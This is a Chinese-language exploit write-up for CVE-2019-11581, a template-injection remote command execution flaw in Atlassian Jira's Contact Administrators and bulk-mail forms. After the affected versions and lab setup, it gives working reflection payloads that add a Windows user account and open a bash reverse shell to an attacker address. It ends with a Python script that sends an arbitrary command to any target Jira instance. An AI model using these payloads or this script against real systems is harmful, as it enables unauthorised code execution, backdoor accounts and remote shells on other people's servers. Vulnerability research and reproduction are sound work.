(CVE-2019-11581)Atlassian Jira 远程命令执行漏洞

一、漏洞简介

此漏洞由于Atlassian Jira中的Atlassian Jira Server和Jira Data Center模块存在模板注入,当"联系管理员表单"功能开启时,攻击者可以在表单插入java恶意代码,当服务端对传入数据进行解析时,会执行数据中插入的恶意代码,并执行其中的命令。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。

二、漏洞影响

Atlassian Jira 4.4.xAtlassian Jira 5.x.xAtlassian Jira 6.x.xAtlassian Jira 7.0.xAtlassian Jira 7.1.xAtlassian Jira 7.2.xAtlassian Jira 7.3.xAtlassian Jira 7.4.xAtlassian Jira 7.5.xAtlassian Jira 7.6.x \< 7.6.14Atlassian Jira 7.7.xAtlassian Jira 7.8.xAtlassian Jira 7.9.xAtlassian Jira 7.10.xAtlassian Jira 7.11.xAtlassian Jira 7.12.xAtlassian Jira 7.13.x \< 7.13.5Atlassian Jira 8.0.x \< 8.0.3Atlassian Jira 8.1.x \< 8.1.2Atlassian Jira 8.2.x \< 8.2.3

三、复现过程

漏洞分析

1.利用前提条件:

第一种,未授权代码执行利用条件:Jira已配置好SMTP服务器,且需开启"联系网站管理员表单"功能。(从WEB界面设计上看,实际上如果没配置SMTP服务器,无法开启此功能

第二种利用场景前提是拿到Jira管理员的权限,利用条件较难满足,这里主要分析第一种情况。原因在于atlassian-jira/WEB-INF/classes/com/atlassian/jira/web/action/user/ContactAdministrators 未对Subject(邮件主题)处进行过滤,用户传入的邮件主题被当作template(模板)指令执行。在任何一种情况下,成功利用此漏洞的攻击者都可在运行受影响版本的Jira Server或Jira Data Center的系统上执行任意命令。

2.以下两种url漏洞验证方式:

第一种无需管理员账户权限:http://www.0-sec.org:8080/secure/ContactAdministrators!default.jspa

第二种需管理员账户权限:http://www.0-sec.org:8080/secure/admin/SendBulkMail!default.jspa

漏洞复现

1. 漏洞利用条件

联系管理员处必须开启 (需要知道后台管理员账号密码)

2.环境准备:

Atlassian JIRAv7.13.0 (以该版本为例,该版本存在漏洞)下载地址:

https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe

安装过程不再描述(按照提示进行安装,先在官方注册一个账号然后拿到一个试用期序列号并进行安装),注意,到了邮件配置那一步经尽量选以后(默认就是),然后进入后台配置。

3.确认未登陆状态下漏洞的存在

访问如下URL(无需管理员账户权限):

http://www.0-sec.org:8080/secure/ContactAdministrators!default.jspa

如果提示如下图,这说明没有配置联系管理员是无法触发漏洞。

请登陆后台开启联系管理员,配置地址如下:

http://www.0-sec.org:8080/secure/admin/EditApplicationProperties!default.jspa

默认是关闭的,需要配置了STMP发信后才能开启,配置STMP的时候可以测试连接,服务器必须开25端口,不然不能发邮件,下图是开启成功

4.未登陆状态下触发漏洞

访问

http://www.0-sec.org:8080/secure/ContactAdministrators!default.jspa

在Subject填入payload,注意,我这里环境是windows机器,所以可以添加账号观察,Linux可以用反弹shell的代码等等,反正换成自己想执行的命令。

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user bk abc@ABC123 /add').waitFor()

发送了后可能会等一会儿,因为要加入邮件队列。这时候再上服务器执行net user查看,发现正是刚刚执行命令添加的账户。

5. 登陆管理员账号触发漏洞

登陆管理员账号,然后访问如下URL:

http://www.0-sec.org:8080/secure/admin/SendBulkMail!default.jspa

填入payload,如下,注意执行命令添加账号的账户名

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user bk01 abc@ABC123 /add').waitFor()

linux下可执行:

目标Jira系统可执行的POC

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://www.baidu.com').waitFor()
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('bash -i >& /dev/tcp/攻击者IP/2333 0>&1').waitFor()

攻击者主机执行:nc -lvvp 2333

poc

scan

#/usr/bin/python
# -*- coding: utf8 -*-

# 
# the program intents to automate the process of exploiting CVE-2019-11581 During our engagments - quick and dirty
# I will probably will add features to make it more easy.
# Ths is some skeleton and probably things will not work on first run


# Importing
import requests
import sys
import argparse
from bs4 import BeautifulSoup
import cmd

parser = argparse.ArgumentParser()
parser.add_argument("domain", help="JIRA Instance")
parser.add_argument("cmd", help="Command to run")
args = parser.parse_args()

#Some Debugging Globals
http_proxy  = "http://127.0.0.1:8080"
https_proxy = "https://127.0.0.1:8080"
ftp_proxy   = "ftp://127.0.0.1:8080"
#Proxy Dictionary
proxyDict = { 
              "http"  : http_proxy, 
              "https" : https_proxy
            }
headers = {'UserAgent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0'}


def JiraScan(domain,cmd):
    #Filtering host
    domain = domain + '/secure/ContactAdministrators!default.jspa'
    #Checking if host is vulnerable by checking if specific string is present
    s = requests.Session()
    r = s.get(domain, proxies=proxyDict, verify=False)
    html_doc = r.content
    soup = BeautifulSoup(html_doc, 'lxml')

    notvuln = soup.findAll("div",{"class":"aui-message aui-message-warning warningd"})
    if notvuln:
        print "[-] Not Vulnerable"
    else:
        print "[+] Checking if Vulnerable"
        #In order to have valid request we need to handle JIRA CSRF Tokens
        #Extracting atl_token from form
        html_doc = r.content
        soup = BeautifulSoup(html_doc, 'lxml')
        data = soup.findAll(attrs={"name" : "atl_token"})
        print data
        #Returning Token value
        token = data[0]['value']
        print token
        #Replacing path
        domain= domain.replace('!default.jspa','.jspa')
        # body of post request
         #(),'subject':"",'details':",'atl_token': value,'Send':'Send'}
        payload = "$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('%s').waitFor()" % cmd
        qparams = (('from','[email protected]'),('subject',payload),('details',payload),('atl_token',token),('Send','Send'))

        #Final Payload
        attack = s.post(domain, headers = headers, data = qparams, proxies=proxyDict, verify=False)

if __name__ == '__main__':
    JiraScan(args.domain,args.cmd)

参考链接

https://www.cnblogs.com/backlion/p/11608439.html